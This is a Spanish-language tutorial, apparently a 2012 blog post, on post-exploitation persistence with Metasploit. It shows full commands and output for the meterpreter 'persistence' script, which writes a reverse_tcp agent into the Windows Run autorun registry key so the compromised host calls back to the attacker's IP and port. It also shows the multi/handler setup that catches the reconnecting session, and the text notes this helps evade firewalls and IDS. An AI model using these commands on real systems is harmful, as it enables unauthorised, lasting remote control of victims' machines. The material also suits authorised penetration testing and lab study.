Una de las cosas más importantes que hay que hacer cuando se acaba de explotar una vulnerabilidad es garantizarse el acceso nuevamente al equipo. Conseguirlo la primera vez puede ser casualidad o suerte. Un mail con un archivo infectado, un enlace que da acceso o algo que hizo el usuario puede no repetirse de forma voluntaria o rápida, de ahí que una vez que tengamos acceso, haya que conservarlo. Para ello, partimos de una conexión establecida para tener acceso al equipo.
msf> sessions -i 1 [*] Starting interaction with 1... meterpreter>
Una vez dentro del mismo y con ayuda del intérprete meterpreter, necesitamos garantizarnos poder volver a abrir la conexión con la máquina de forma remota siempre que nos interese. para hacerlo, qué mejor que ayudarnos del script persistence, que justamente hace eso, tal como sigue,
meterpreter> run persistence -A -X -p 10000 -r 192.168.1.33 [*] Running Persistance Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-VIRT_20120904.4132/WIN-VIRT_20120904.4132.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=10000 [*] Persistent agent script is 612693 bytes long [+] Persistent Script written to C:\DOCUME~1\LOCALS~1\CONFIG~1\Temp\XRoCKIfpBs.vbs [*] Starting connection handler at port 10000 for windows/meterpreter/reverse_tcp [+] Multi/Handler started! [*] Executing script C:\DOCUME~1\LOCALS~1\CONFIG~1\Temp\XRoCKIfpBs.vbs [+] Agent executed with PID 2452 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YilifWziMR [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YilifWziMR meterpreter> exit -y [*] Shutting down Meterpreter... [*] 192.168.1.50 - Meterpreter session 1 closed. Reason: User exit
Tenemos que indicarle el puerto y la IP de conexión en la que estará un software escuchando para que pueda abrir la conexión hacia el sistema. Una vez esté, salimos de la sesión que tenemos y sólo nos queda configurar un nuevo exploit para abrir cuando así lo deseemos la conexión con el equipo "infectado". Esta vez la forma de establecer la comunicación es directa y no necesita de la explotación de ningún bug.
Ponemos por la tanto el handler a la escucha en el puerto y la IP que se han indicado y al momento aparecerá una nueva conexión, iniciada por el Windows al equipo de metasploit. Esto garantiza el acceso nuevamente a la máquina y además la conexión es iniciada por el equipo infectado, lo que facilita enormemente saltarse firewall's e IDS's.
msf> use multi/handler msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler)> set LHOST 192.168.1.33 LHOST => 192.168.1.33 msf exploit(handler)> set LPORT 10000 LPORT => 10000 msf exploit(handler)> exploit [*] Started reverse handler on 192.168.1.33:10000 [*] Starting the payload handler... [*] Sending stage (764928 bytes) to 192.168.1.50 [*] Meterpreter session 1 opened (192.168.1.33:10000 -> 192.168.1.50:3045) at 2012-09-01 16:46:01 +0200 msf exploit(handler)> sessions -l Active sessions =============== Id Type Connection -- ---- ---------- 1 meterpreter 192.168.1.33:10000 -> 192.168.1.50:3045